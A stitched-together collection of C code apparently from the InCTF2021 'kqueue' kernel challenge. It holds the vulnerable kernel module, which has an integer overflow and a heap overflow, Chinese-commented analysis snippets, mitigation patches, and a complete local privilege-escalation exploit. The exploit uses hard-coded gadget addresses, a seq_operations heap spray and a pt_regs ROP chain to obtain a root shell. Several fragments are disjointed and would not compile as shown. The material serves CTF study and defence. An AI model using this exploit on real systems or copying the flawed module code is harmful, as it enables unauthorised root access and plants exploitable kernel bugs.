/* Generic header files */

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/miscdevice.h>

MODULE_AUTHOR("amritabi0s1@gmail.com");
MODULE_DESCRIPTION("A module to save all your beloved queues");
MODULE_LICENSE("GPL");

#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE   0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE          0xB105BABE

#define INVALID      -1
#define NOT_EXISTS   -3
#define MAX_QUEUES    5
#define MAX_DATA_SIZE 0x20

typedef unsigned long long ull;
ull queueCount = 0;

/* We need this to mitigate rat races */

static DEFINE_MUTEX(operations_lock);

static int reg;
static long kqueue_ioctl(struct file *file, unsigned int cmd,
			 unsigned long arg);
static struct file_operations kqueue_fops = {.unlocked_ioctl = kqueue_ioctl };

typedef struct {
	uint16_t data_size;
	uint64_t queue_size;	/* This needs to handle larger numbers */
	uint32_t max_entries;
	uint16_t idx;
	char *data;
} queue;

/* Every kqueue has it's own entries */

typedef struct queue_entry queue_entry;

struct queue_entry {
	uint16_t idx;
	char *data;
	queue_entry *next;
};

/* I wish I could go limitless */

queue *kqueues[MAX_QUEUES] = { (queue *) NULL };

/* Boolean array to make sure you dont save queue's over and over again */

bool isSaved[MAX_QUEUES] = { false };

/* This is how a typical request looks */

typedef struct {
	uint32_t max_entries;
	uint16_t data_size;
	uint16_t entry_idx;
	uint16_t queue_idx;
	char *data;
} request_t;

/* commiting errors is not a crime, handling them incorrectly is */

static long err(char *msg)
{
	printk(KERN_ALERT "%s\n", msg);
	return -1;
}

static noinline long create_kqueue(request_t request);
static noinline long delete_kqueue(request_t request);
static noinline long edit_kqueue(request_t request);
static noinline long save_kqueue_entries(request_t request);

/* Initialize a flag to check for existence of stuff */
bool exists = false;

/* For Validating pointers */
static noinline void *validate(void *ptr)
{
	if (!ptr) {
		mutex_unlock(&operations_lock);
		err("[-] oops! Internal operation error");
	}
	return ptr;
}

struct miscdevice kqueue_device = {
	.minor = MISC_DYNAMIC_MINOR,
	.name = "kqueue",
	.fops = &kqueue_fops,
};

/* Generic header files */
// code from InCTF2021 - Kqueue
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include "binary.h"

#pragma GCC push_options
#pragma GCC optimize ("O0")

static noinline long kqueue_ioctl(struct file *file, unsigned int cmd,
				  unsigned long arg)
{

	long result;

	request_t request;

	mutex_lock(&operations_lock);

	if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))) {
		err("[-] copy_from_user failed");
		goto ret;
	}

	switch (cmd) {
	case CREATE_KQUEUE:
		result = create_kqueue(request);
		break;
	case DELETE_KQUEUE:
		result = delete_kqueue(request);
		break;
	case EDIT_KQUEUE:
		result = edit_kqueue(request);
		break;
	case SAVE:
		result = save_kqueue_entries(request);
		break;
	default:
		result = INVALID;
		break;
	}
ret:
	mutex_unlock(&operations_lock);
	return result;
}

static noinline long create_kqueue(request_t request)
{
	long result = INVALID;

	if (queueCount > MAX_QUEUES)
		err("[-] Max queue count reached");

	/* You can't ask for 0 queues , how meaningless */
	if (request.max_entries < 1)
		err("[-] kqueue entries should be greater than 0");

	/* Asking for too much is also not good */
	if (request.data_size > MAX_DATA_SIZE)
		err("[-] kqueue data size exceed");

	/* Initialize kqueue_entry structure */
	queue_entry *kqueue_entry;

	/* Check if multiplication of 2 64 bit integers results in overflow */
	ull space = 0;
	if (__builtin_umulll_overflow
	    (sizeof(queue_entry), (request.max_entries + 1), &space) == true)
		err("[-] Integer overflow");

	ull queue_size = 0;
	if (__builtin_saddll_overflow(sizeof(queue), space, &queue_size) ==
	    true)
		err("[-] Integer overflow");

	/* Total size should not exceed a certain limit */
	if (queue_size > sizeof(queue) + 0x10000)
		err("[-] Max kqueue alloc limit reached");

	/* All checks done , now call kzalloc */
	queue *queue = validate((char *)kmalloc(queue_size, GFP_KERNEL));

	/* Main queue can also store data */
	queue->data = validate((char *)kmalloc(request.data_size, GFP_KERNEL));

	/* Fill the remaining queue structure */
	queue->data_size = request.data_size;
	queue->max_entries = request.max_entries;
	queue->queue_size = queue_size;

	/* Get to the place from where memory has to be handled */
	kqueue_entry =
	    (queue_entry *) ((uint64_t) (queue + (sizeof(queue) + 1) / 8));

	/* Allocate all kqueue entries */
	queue_entry *current_entry = kqueue_entry;
	queue_entry *prev_entry = current_entry;

	uint32_t i = 1;
	for (i = 1; i < request.max_entries + 1; i++) {
		if (i != request.max_entries)
			prev_entry->next = NULL;
		current_entry->idx = i;
		current_entry->data = (char *)(validate((char *)
							kmalloc
							(request.data_size,
							 GFP_KERNEL)));

		/* Increment current_entry by size of queue_entry */
		current_entry += sizeof(queue_entry) / 16;

		/* Populate next pointer of the previous entry */
		prev_entry->next = current_entry;
		prev_entry = prev_entry->next;
	}

	/* Find an appropriate slot in kqueues */
	uint32_t j = 0;
	for (j = 0; j < MAX_QUEUES; j++) {
		if (kqueues[j] == NULL)
			break;
	}

	if (j > MAX_QUEUES)
		err("[-] No kqueue slot left");

	/* Assign the newly created kqueue to the kqueues */
	kqueues[j] = queue;
	queueCount++;
	result = 0;
	return result;
}

static noinline long delete_kqueue(request_t request)
{
	/* Check for out of bounds requests */
	if (request.queue_idx > MAX_QUEUES)
		err("[-] Invalid idx");

	/* Check for existence of the request kqueue */
	queue *queue = kqueues[request.queue_idx];
	if (!queue)
		err("[-] Requested kqueue does not exist");

	kfree(queue);
	memset(queue, 0, queue->queue_size);
	kqueues[request.queue_idx] = NULL;
	return 0;
}

static noinline long edit_kqueue(request_t request)
{
	/* Check the idx of the kqueue */
	if (request.queue_idx > MAX_QUEUES)
		err("[-] Invalid kqueue idx");

	/* Check if the kqueue exists at that idx */
	queue *queue = kqueues[request.queue_idx];
	if (!queue)
		err("[-] kqueue does not exist");

	/* Check the idx of the kqueue entry */
	if (request.entry_idx > queue->max_entries)
		err("[-] Invalid kqueue entry_idx");

	/* Get to the kqueue entry memory */
	queue_entry *kqueue_entry =
	    (queue_entry *) (queue + (sizeof(queue) + 1) / 8);

	/* Check for the existence of the kqueue entry */
	exists = false;
	uint32_t i = 1;
	for (i = 1; i < queue->max_entries + 1; i++) {

		/* If kqueue entry found , do the necessary */
		if (kqueue_entry && request.data && queue->data_size) {
			if (kqueue_entry->idx == request.entry_idx) {
			    if (__copy_from_user(kqueue_entry->data, request.data, queue->data_size)) {
					return -EIO;
				}
				validate(kqueue_entry->data);
				exists = true;
			}
		}
		kqueue_entry = kqueue_entry->next;
	}

	if (request.entry_idx == 0 && kqueue_entry && request.data
	    && queue->data_size) {
	    if (__copy_from_user(queue->data, request.data, queue->data_size)) {
			return -EIO;
		}
		validate(queue->data);
		return 0;
	}

	if (!exists)
		return NOT_EXISTS;
	return 0;
}

/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request)
{

	/* Check for out of bounds queue_idx requests */
	if (request.queue_idx > MAX_QUEUES)
		err("[-] Invalid kqueue idx");

	/* Check if queue is already saved or not */
	if (isSaved[request.queue_idx] == true)
		err("[-] Queue already saved");

	queue *queue = validate(kqueues[request.queue_idx]);

	/* Check if number of requested entries exceed the existing entries */
	if (request.max_entries < 1)
		err("[-] Invalid entry count");

	if (request.max_entries > queue->max_entries)
		err("[-] Invalid entry count");

	/* Allocate memory for the kqueue to be saved */
	char *new_queue =
	    validate((char *)kzalloc(queue->queue_size, GFP_KERNEL));

	/* Each saved entry can have its own size */
	if (request.data_size > queue->queue_size)
		err("[-] Entry size limit exceed");

	/* Copy main's queue's data */
	if (queue->data && request.data_size) {
        if (__copy_from_user(new_queue, queue->data, request.data_size)) {
            return -EIO;
        }
        validate(new_queue);
	}
	else
		err("[-] Internal error");
	new_queue += queue->data_size;

	/* Get to the entries of the kqueue */
	queue_entry *kqueue_entry =
	    (queue_entry *) (queue + (sizeof(queue) + 1) / 8);

	/* copy all possible kqueue entries */
	uint32_t i = 0;
	for (i = 1; i < request.max_entries + 1; i++) {
		if (!kqueue_entry || !kqueue_entry->data)
			break;
		if (kqueue_entry->data && request.data_size){
            if (__copy_from_user(new_queue, kqueue_entry->data, request.data_size)) {
                return -EIO;
            }
            validate(new_queue);
		}
		else
			err("[-] Internal error");
		kqueue_entry = kqueue_entry->next;
		new_queue += queue->data_size;
	}

	/* Mark the queue as saved */
	isSaved[request.queue_idx] = true;
	return 0;
}

#pragma GCC pop_options

static int __init init_kqueue(void)
{
	mutex_init(&operations_lock);
	reg = misc_register(&kqueue_device);
	if (reg < 0) {
		mutex_destroy(&operations_lock);
		err("[-] Failed to register kqueue");
	}
	return 0;
}

static void __exit exit_kqueue(void)
{
	misc_deregister(&kqueue_device);
}

module_init(init_kqueue);
module_exit(exit_kqueue);

/* 队列控制块（Queue Control Block）*/
typedef struct {
    uint16_t data_size;      /* 每个条目的数据缓冲区大小（0-32字节）*/
    uint64_t queue_size;     /* 队列结构总内存大小（包含元数据）*/
    uint32_t max_entries;    /* 队列支持的最大条目数（1-4294967295）*/
    uint16_t idx;            /* 队列在全局数组中的索引（0-4）*/
    char *data;              /* 指向队列主数据缓冲区的指针 */
} queue;

/* 队列条目节点（Queue Entry Node）*/
struct queue_entry {
    uint16_t idx;            /* 条目在队列中的序号（1-max_entries）*/
    char *data;              /* 指向条目专属数据缓冲区的指针 */
    queue_entry *next;       /* 指向链表中下一个条目的指针 */
};

#define MAX_QUEUES    5        /* 最大队列数量 */
#define MAX_DATA_SIZE 0x20     /* 每个条目的最大数据大小 */

queue *kqueues[MAX_QUEUES] = { NULL };  /* 全局队列数组 */
bool isSaved[MAX_QUEUES] = { false };   /* 队列保存状态标记 */
ull queueCount = 0;                     /* 当前队列计数 */
static DEFINE_MUTEX(operations_lock);   /* 操作互斥锁 */

typedef struct {
    uint32_t max_entries;    /* CREATE/SAVE: 最大条目数 */
    uint16_t data_size;      /* CREATE/SAVE: 数据缓冲区大小 */
    uint16_t entry_idx;      /* EDIT: 目标条目索引 */
    uint16_t queue_idx;      /* EDIT/DELETE/SAVE: 目标队列索引 */
    char *data;              /* EDIT: 用户数据缓冲区指针 */
} request_t;

/* 第一处：无符号整数乘法溢出检测 */
ull space = 0;
if (__builtin_umulll_overflow(sizeof(queue_entry), (request.max_entries + 1), &space) == true)
    err("[-] Integer overflow");

/* 第二处：有符号整数加法溢出检测 */
ull queue_size = 0;
if (__builtin_saddll_overflow(sizeof(queue), space, &queue_size) == true)
    err("[-] Integer overflow");

static noinline void *validate(void *ptr)
{
    if (!ptr) {
        mutex_unlock(&operations_lock);
        err("[-] oops! Internal operation error");
        /* 关键：缺少错误返回语句 */
    }
    return ptr;  /* 即使ptr为NULL也返回NULL */
}

/* 步骤1：基于错误queue_size分配缓冲区 */
char *new_queue = validate((char *)kzalloc(queue->queue_size, GFP_KERNEL));

/* 步骤2：用户控制拷贝大小 */
if (__copy_from_user(new_queue, queue->data, request.data_size)) {
    return -EIO;
}

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

/* 通过打开proc文件创建seq_operations */
int fd = open("/proc/self/stat", O_RDONLY);
/* 内核分配seq_operations结构体 */

struct user_key_payload {
    struct rcu_head rcu;        /* RCU删除回调 */
    unsigned short datalen;     /* 数据长度 */
    char data[];                /* 可变长度数据 */
};

/* 创建用户密钥并设置payload */
struct key *key;
key = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "test_keyring");
add_key("user", "test_key", payload_data, payload_size, key);

// 触发整数溢出，queue_size=32
create_kqueue(
    .max_entries = 0xFFFFFFFF,  // 触发算术异常
    .data_size = 0x100          // 主数据缓冲区大小
);

// 内存结果：
// [kmalloc-32] queue结构 (32字节)
// [kmalloc-256] queue->data (256字节)
// queue->queue_size错误记录为32

// 密集分配seq_operations结构体
int seq_fds[200];
for (int i = 0; i < 200; i++) {
    seq_fds[i] = open("/proc/self/stat", O_RDONLY);
    // 每个open分配seq_operations结构体
    // 期望至少一个位于new_queue相邻位置
}

// 构造40字节溢出数据
struct {
    char padding[0x20];           // 填充32字节缓冲区
    uint64_t target_gadget;       // 覆盖目标函数指针
    char remaining[0x8];          // 额外8字节
} exploit_data;

// 设置栈迁移指令序列地址
exploit_data.target_gadget = ADD_RSP_0xD0_POP_RBX_POP_RBP_RET;

// 触发堆缓冲区溢出
save_kqueue_entries(
    .queue_idx = 0,
    .max_entries = 1,
    .data_size = 0x28  // 40 > 32，溢出8字节
);

// 结果：seq_operations->start指针被覆盖

// 通过读取触发被覆盖的函数指针
char buf[64];
read(seq_fd, buf, sizeof(buf));

// 内核调用链：
// seq_read()
// → seq_operations->start()  // 被覆盖为指令序列地址
// → 执行栈迁移指令序列
// → 控制流转移

/* 定义合理的参数范围 */
#define MAX_REASONABLE_ENTRIES 10000
#define MIN_DATA_SIZE 1
#define MAX_DATA_SIZE 0x20

static noinline long create_kqueue(request_t request)
{
    /* 检查max_entries合理性 */
    if (request.max_entries == 0 ||
        request.max_entries > MAX_REASONABLE_ENTRIES) {
        return -EINVAL;
    }

    /* 检查特殊值0xFFFFFFFF */
    if (request.max_entries == 0xFFFFFFFF) {
        return -EINVAL;
    }

    /* 检查data_size合理性 */
    if (request.data_size < MIN_DATA_SIZE ||
        request.data_size > MAX_DATA_SIZE) {
        return -EINVAL;
    }

    /* 继续正常分配流程 */
}

/* 使用安全算术函数进行大小计算 */
#include <linux/overflow.h>

static noinline long create_kqueue(request_t request)
{
    size_t entry_mem, total_mem;

    /* 安全计算条目内存 */
    if (check_mul_overflow(sizeof(queue_entry),
                          (size_t)request.max_entries + 1,
                          &entry_mem)) {
        return -EOVERFLOW;
    }

    /* 安全计算总内存 */
    if (check_add_overflow(sizeof(queue), entry_mem, &total_mem)) {
        return -EOVERFLOW;
    }

    /* 验证总内存不超过合理限制 */
    if (total_mem > sizeof(queue) + 0x10000) {
        return -EINVAL;
    }

    /* 使用计算得到的总内存进行分配 */
    queue *queue = kmalloc(total_mem, GFP_KERNEL);
    if (!queue) {
        return -ENOMEM;
    }

    /* 记录正确的queue_size */
    queue->queue_size = total_mem;

    /* 继续正常初始化 */
}

static noinline long save_kqueue_entries(request_t request)
{
    /* 验证拷贝大小不超过源缓冲区 */
    if (request.data_size > queue->data_size) {
        return -EINVAL;
    }

    /* 验证拷贝大小不超过目标缓冲区 */
    if (request.data_size > queue->queue_size) {
        return -EINVAL;
    }

    /* 使用安全的最小值 */
    size_t copy_size = min_t(size_t, request.data_size, queue->queue_size);

    /* 执行边界检查后的拷贝 */
    if (copy_from_user(new_queue, queue->data, copy_size)) {
        kfree(new_queue);
        return -EFAULT;
    }

    /* 继续正常流程 */
}

/* 改进的验证函数，返回错误码 */
static noinline int validate_ptr(void *ptr, const char *msg)
{
    if (!ptr) {
        mutex_unlock(&operations_lock);
        printk(KERN_ERR "kqueue: %s failed\n", msg);
        return -ENOMEM;
    }
    return 0;
}

/* 使用示例 */
queue *queue = kmalloc(size, GFP_KERNEL);
if (validate_ptr(queue, "kmalloc queue")) {
    return -ENOMEM;
}

/* 分配后立即初始化关键字段 */
queue *queue = kzalloc(total_mem, GFP_KERNEL);
if (!queue) {
    return -ENOMEM;
}

/* 设置默认值 */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = total_mem;
queue->idx = 0;
queue->data = NULL;  /* 显式设置为NULL */

static noinline long delete_kqueue(request_t request)
{
    /* 安全检查 */
    if (request.queue_idx >= MAX_QUEUES) {
        return -EINVAL;
    }

    queue *queue = kqueues[request.queue_idx];
    if (!queue) {
        return -ENOENT;
    }

    /* 释放前清理 */
    if (queue->data) {
        memset(queue->data, 0, queue->data_size);
        kfree(queue->data);
    }

    /* 清理队列结构 */
    memset(queue, 0, queue->queue_size);
    kfree(queue);

    /* 清除指针引用 */
    kqueues[request.queue_idx] = NULL;
    isSaved[request.queue_idx] = false;
    queueCount--;

    return 0;
}

/* Intel CET 保护机制 */
// 影子栈保护返回地址
// 间接分支跟踪验证跳转目标
// 终结指令验证控制流完整性

/* Linux安全模块钩子 */
static struct security_hook_list kqueue_hooks[] = {
    LSM_HOOK_INIT(file_ioctl, kqueue_ioctl_permission),
    LSM_HOOK_INIT(bprm_check_security, kqueue_module_check),
    LSM_HOOK_INIT(kernel_module_request, kqueue_module_load),
};

/* 权限检查示例 */
static int kqueue_ioctl_permission(struct file *file, unsigned int cmd)
{
    /* 检查ioctl命令权限 */
    if (cmd == CREATE_KQUEUE || cmd == DELETE_KQUEUE) {
        if (!capable(CAP_SYS_MODULE)) {
            return -EPERM;
        }
    }
    return 0;
}

/* 安全审计日志 */
static noinline long create_kqueue(request_t request)
{
    /* 记录审计信息 */
    audit_log(current->audit_context, GFP_KERNEL, AUDIT_KQUEUE,
              "create kqueue: max_entries=%u, data_size=%u",
              request.max_entries, request.data_size);

    /* 继续正常操作 */
}

/* Gadget addresses */
size_t commit_creds = 0xffffffff8108e530;
size_t prepare_kernel_cred = 0xffffffff8108e950;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00df0 + 0x1e;
size_t add_rsp_0Xd0_pop_rbx_pop_rbp_ret = 0xffffffff8126eb5f;
size_t pop_rdi_ret = 0xffffffff81001729;
size_t pop_rcx_pop_rbx_pop_rbp_ret = 0xffffffff811f2005;
size_t mov_rdi_rax_rep_movsq_rdi_rsi_ret = 0xffffffff81b2c10b;

int dev_fd;
int victim_fd;
int seq_fd[0x200];
size_t data[0x20] = {0};

/* Driver request structure */
typedef struct {
  uint32_t max_entries;
  uint16_t data_size;
  uint16_t entry_idx;
  uint16_t queue_idx;
  char *data;
} request_t;

void create_queue(uint32_t max_entries, uint16_t data_size) {
  request_t req = {.max_entries = max_entries, .data_size = data_size};
  ioctl(dev_fd, 0xDEADC0DE, &req);
}

void edit_queue(uint16_t queue_idx, uint16_t entry_idx, void *data) {
  request_t req = {
      .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data};
  ioctl(dev_fd, 0xDAADEEEE, &req);
}

void delete_queue(uint16_t queue_idx) {
  request_t req = {.queue_idx = queue_idx};
  ioctl(dev_fd, 0xBADDCAFE, &req);
}

void save_queue(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size) {
  request_t req = {.queue_idx = queue_idx,
                   .max_entries = max_entries,
                   .data_size = data_size};
  ioctl(dev_fd, 0xB105BABE, &req);
}

int main() {
  log.info("Phase 1: Environment setup");
  bind_core(0);
  save_status();

  log.info("Phase 2: Open vulnerable device");
  dev_fd = open("/dev/kqueue", O_RDONLY);
  if (dev_fd < 0) {
    log.error("Failed to open /dev/kqueue");
    exit(-1);
  }

  log.info("Phase 3: Prepare heap overflow data");
  data[4] = add_rsp_0Xd0_pop_rbx_pop_rbp_ret; // stack pivot gadget
  log.success("Stack pivot gadget placed at data[4] = 0x%lx", data[4]);

  log.info("Phase 4: Create and corrupt vulnerable kernel object");
  create_queue(0xffffffff, 0x20 * 8);
  edit_queue(0, 0, data);
  log.success("Kernel queue created and data buffer prepared for overflow");

  log.info("Phase 5: seq_operations heap spray");
  for (int i = 0; i < 0x200; i++) {
    seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    if (seq_fd[i] < 0) {
      log.error("Failed to open /proc/self/stat");
      exit(-1);
    }
  }
  log.success("Sprayed 0x200 seq_operations objects");

  log.info("Phase 6: Trigger heap overflow to corrupt seq_operations->start");
  save_queue(0, 0, 0x28);
  log.success("Heap overflow triggered, seq_operations->start overwritten with "
              "stack pivot");

  log.info("Phase 7: Trigger corrupted seq_operations->start via syscall");
  for (int i = 0; i < 0x200; i++) {
    victim_fd = seq_fd[i];
    int pid = fork();
    if (pid < 0) {
      exit(-1);
    }
    if (pid == 0) {
      // Trigger seq_file->ops->start via read syscall
      __asm__("mov r15,   pop_rdi_ret;"
              "mov r14,   0;"
              "mov r13,   prepare_kernel_cred;"
              "mov r12,   pop_rcx_pop_rbx_pop_rbp_ret;"
              "mov rbp,   0;"
              "mov rbx,   0x55555555;"
              "mov r11,   0x66666666;"
              "mov r10,   mov_rdi_rax_rep_movsq_rdi_rsi_ret;"
              "mov r9,    commit_creds;"
              "mov r8,    swapgs_restore_regs_and_return_to_usermode;"
              "xor rax,   rax;"
              "mov rcx,   0xaaaaaaaa;"
              "mov rdx,   8;"
              "lea rsi,   data;"
              "mov rdi,   victim_fd;"
              "syscall");
      if (!getuid()) {
        get_root_shell();
      }
      exit(0);
    }
  }

  while (1) {
    sleep(1000);
  }
  return 0;
}

/* 堆喷操作示例 */
for (int i = 0; i < 0x200; i++) {
    seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}

/* 触发溢出操作示例 */
save_queue(0, 0, 0x28);

char *new_queue = validate((char *)kzalloc(queue->queue_size, GFP_KERNEL));

__asm__("mov r15,   pop_rdi_ret;"        // 对应pt_regs的R15字段
        "mov r14,   0;"                  // 对应pt_regs的R14字段
        "mov r13,   prepare_kernel_cred;" // 对应pt_regs的R13字段
        "mov r12,   pop_rcx_pop_rbx_pop_rbp_ret;" // 对应pt_regs的R12字段
        "mov rbp,   0;"                  // 对应pt_regs的RBP字段
        "mov rbx,   0x55555555;"         // 对应pt_regs的RBX字段
        "mov r11,   0x66666666;"         // 对应pt_regs的R11字段
        "mov r10,   mov_rdi_rax_rep_movsq_rdi_rsi_ret;" // 对应pt_regs的R10字段
        "mov r9,    commit_creds;"       // 对应pt_regs的R9字段
        "mov r8,    swapgs_restore_regs_and_return_to_usermode;" // 对应pt_regs的R8字段
        "xor rax,   rax;"                // 对应pt_regs的RAX字段（read系统调用号=0）
        "mov rcx,   0xaaaaaaaa;"         // 对应pt_regs的RCX字段
        "mov rdx,   8;"                  // 对应pt_regs的RDX字段
        "lea rsi,   data;"               // 对应pt_regs的RSI字段
        "mov rdi,   victim_fd;"          // 对应pt_regs的RDI字段
        "syscall");                      // 执行read系统调用

if (!getuid()) {
    get_root_shell();
}